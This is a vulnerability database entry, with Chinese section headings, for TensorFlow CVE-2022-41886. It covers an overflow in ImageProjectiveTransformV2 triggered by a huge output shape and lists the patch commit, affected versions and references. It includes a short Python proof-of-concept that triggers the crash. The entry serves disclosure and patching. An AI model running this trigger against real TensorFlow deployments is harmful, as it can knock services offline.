CVE-2022-41886

描述

### Impact When [`tf.raw_ops.ImageProjectiveTransformV2`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/image/image_ops.cc) is given a large output shape, it overflows. ```python import tensorflow as tf interpolation = "BILINEAR" fill_mode = "REFLECT" images = tf.constant(0.184634328, shape=[2,5,8,3], dtype=tf.float32) transforms = tf.constant(0.378575385, shape=[2,8], dtype=tf.float32) output_shape = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32) tf.raw_ops.ImageProjectiveTransformV2(images=images, transforms=transforms, output_shape=output_shape, interpolation=interpolation, fill_mode=fill_mode) ``` ### Patches We have patched the issue in GitHub commit [8faa6ea692985dbe6ce10e1a3168e0bd60a723ba](https://github.com/tensorflow/tensorflow/commit/8faa6ea692985dbe6ce10e1a3168e0bd60a723ba). The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.

受影響套件(4)

• Bitnami/tensorflowfrom 0, < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1
• PyPI/tensorflowfrom 0, < 2.8.4
• PyPI/tensorflow-cpufrom 0, < 2.8.4
• PyPI/tensorflow-gpufrom 0, < 2.8.4

CVSS 分數

參考連結(5)

• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2022-41886
• PATCHhttps://github.com/tensorflow/tensorflow
• WEBhttps://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/image/image_ops.cc
• WEBhttps://github.com/tensorflow/tensorflow/commit/8faa6ea692985dbe6ce10e1a3168e0bd60a723ba
• WEBhttps://github.com/tensorflow/tensorflow/security/advisories/GHSA-54pp-c6pp-7fpx